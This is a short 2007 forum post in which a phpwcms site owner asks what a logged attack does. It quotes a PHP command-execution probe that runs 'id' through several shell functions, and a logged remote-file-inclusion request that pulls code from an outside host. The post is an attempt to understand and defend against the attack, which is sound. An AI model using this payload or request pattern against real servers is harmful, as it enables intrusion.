Possible Attack Code?
Posted: Mon 20. Aug 2007, 17:53
Hi, often happen me to see in phpwcms_bad_behavior this kind of code:
Anyway, seems that nothing happens with my wcms's installation, but is an attack of what?
What type of damages can provoke?
Code: Select all
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;What type of damages can provoke?
Code: Select all
request_uri: /index.php?id=http://www.technic-marine-location.com/modules/icontent/include/wysiwyg/id.txt?
http_headers: GET /index.php?id=http://www.technic-marine-location.com/modules/icontent/include/wysiwyg/id.txt? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: noria.ba.cnr.it
User-Agent: libwww-perl/5.807
YUP